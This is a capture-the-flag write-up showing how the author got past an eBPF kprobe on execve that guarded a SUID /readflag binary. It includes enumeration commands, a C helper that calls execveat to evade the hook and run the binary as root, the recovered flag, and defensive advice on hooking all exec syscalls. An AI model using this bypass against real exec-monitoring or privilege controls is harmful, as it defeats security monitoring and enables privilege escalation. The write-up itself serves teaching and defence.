//Buzzing — Writeup
>Challenge Summary
-
Category: Reverse / Exploitation (SUID + eBPF protections)
-
Goal: Obtain the flag by reading
/flagvia the provided SUID binary/readflag. -
Access: Instance accessible via SSH using a per-session private key from the web spawner.
Flag: W1{just_4_s1mpl3_3bpf_l04d3r_buzz1n'_4r0und_fufu_76274bc788378a36b3345a49948045e9}
>TL;DR (One-liner)
/You can’t execute /readflag directly because the challenge loads an eBPF kprobe which intercepts the execve system call. Use execveat(AT_FDCWD, "/readflag", ...) instead, because execveat is not hooked/filtered by the eBPF guards. Running this from a small helper binary yields the flag./
>Steps I Took (Detailed)
- Connect to the instance using the spawner-provided SSH key:
# port and key come from the spawner instance
ssh -i id_ed25519 bocchi@spawner.zaki.moe -p <PORT>
- Basic enumeration—they often contain SUID binaries and small sandbox tricks:
# Check file and permission status
ls -la /
ls -la /readflag
file /readflag
stat -c '%A %a %U %G %f' /readflag
I found that /readflag is SUID root:
-rwsr-xr-x 1 root root 14456 Dec 6 05:35 /readflag
- Trying to run
/readflagdirectly yields permission error or prevented by the environment:
$ /readflag
bash: /readflag: Permission denied
- Check loader and container setup at
/to discover any extra components:
# Check out root files
cat /Dockerfile
cat /entrypoint.sh
cat /compose.yml
# Found: loader and locker.bpf.o
- Download and inspect
loaderandlocker.bpf.o(for example viascpfrom local):
scp -P 1337 -i id_ed25519 bocchi@spawner.zaki.moe:/loader .
scp -P 1337 -i id_ed25519 bocchi@spawner.zaki.moe:/locker.bpf.o .
scp -P 1337 -i id_ed25519 bocchi@spawner.zaki.moe:/readflag .
file ./loader ./locker.bpf.o ./readflag
strings ./loader | head -n 80
llvm-readelf -S locker.bpf.o
llvm-objdump -d locker.bpf.o
loaderappears to use libbpf tobpf_object__open_file("locker.bpf.o")then load it.locker.bpf.ocontained a kprobe on__x64_sys_execve.
# Observed symbol: kprobe/__x64_sys_execve
# This indicates that the BPF object hooks execve syscall.
-
The BPF interception prevented the normal
execvesyscall used by/readflagor attempted by our shell, so directly calling/readflagwould be rejected. Copying/readflagto/tmpremoves setuid privileges but still didn't let the file run. Running the loader or invoking the dynamic loader returned an error such asflag file not found. -
Key discovery: eBPF hooked
__x64_sys_execve(the classic syscall that userlandexecveuses). The eBPF program did not hookexecveat, so usingexecveatbypassed the eBPF filter. (Difference:execveatis a newer syscall that can start an exec using a file descriptor or a pathname; the kprobe specifically targetedexecvesyscall entry.) -
Build a tiny helper to call
execveatwithAT_FDCWD(the working directory file descriptor), pointing at/readflagso the kernel effectively executes the SUID program but using theexecveatpath—unblocked by the BPF program.
// execveat_runner.c
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
int main(void) {
char *argv[] = { "readflag", NULL };
char *envp[] = { NULL };
if (execveat(AT_FDCWD, "/readflag", argv, envp, 0) == -1) {
perror("execveat");
return 1;
}
return 0;
}
- Compile statically and upload to the challenge container (statical linking ensures dependencies are present):
# On local: compile statically (if `musl` / `static` is required, use appropriate toolchain)
gcc -static -O2 execveat_runner.c -o execveat_runner
# Upload:
scp -P 10123 -i 'id_ed25519 (1)' execveat_runner bocchi@spawner.zaki.moe:/home/bocchi/
# Make executable and run
ssh -i 'id_ed25519 (1)' -p 10123 bocchi@spawner.zaki.moe "chmod +x execveat_runner && ./execveat_runner"
- Running the compiled helper produced the flag text (printed by the SUID binary):
W1{just_4_s1mpl3_3bpf_l04d3r_buzz1n'_4r0und_fufu_76274bc788378a36b3345a49948045e9}
>Why This Works (Technical Explanation)
-
loader / locker.bpf.o uses libbpf to insert a
kprobeon the kernel function for theexecvesyscall. The BPF program likely checks the pathname and denies attempts to run the protected SUID binary. -
The
execvesyscall is the classic syscall used byexecve(2)and many userland exec functions.execveat(2)is a separate syscall; BPF hooked forexecvedoes not necessarily monitorexecveat. Therefore,execveat's invocation bypasses the BPF filter. -
Because
/readflagis setuid root and accepts no path argument required by the binary (the binary usesopen("/flag")internally), executing/readflagas root will cause the SUID binary to open/flagand print it if it is allowed. -
The
execveatcall creates a new process from/readflag(becomes effective SUID root if the setuid bit is there) and thus runs the SUID binary as root which then reads/flagand prints the secret.
>Artifacts / Commands Reused
- Inspect setuid and file metadata:
ls -la /readflag
stat -c '%A %a %U %G' /readflag
file /readflag
strings readflag
- Inspect loader and BPF object:
strings loader | less
llvm-readelf -S locker.bpf.o
llvm-objdump -d locker.bpf.o | grep kprobe
llvm-objdump -d locker.bpf.o | grep a4 # look for XOR constants
- Create and use
execveathelper locally, thenscpto the instance.
>Detection & Mitigation Notes / Defensive Advice
-
eBPF programs that rely on syscall kprobes are very specific—the kernel has many related syscalls. If your security policy intends to catch all exec-like calls, ensure you hook both
execveandexecveat(and any others relevant to your kernel version). Consider using the LSM/BPF programs or seccomp to restrict execs more broadly. -
Logging and auditing should show attempted blocked execve hooks, and surprises like a process calling
execveatshould be visible via auditing. -
For deploy safety: avoid relying only on an eBPF
kprobeon a single syscall for privileged program protections; instead run containers with minimal privileges, avoid setuid where possible, or combine with strong kernel LSM policies.
>Final Thoughts & Gotchas
-
The instance intentionally supports offline compilation and scp for static payload binaries. If a container didn’t support local compile or scp, a static compiled binary must be provided from a machine with a matching architecture.
-
execveatis just one bypass—others includeptraceor other kernel interfaces if not guarded. The countermeasure is to avoid setuid programs or to use appropriate kernel protections that can’t be trivially circumvented.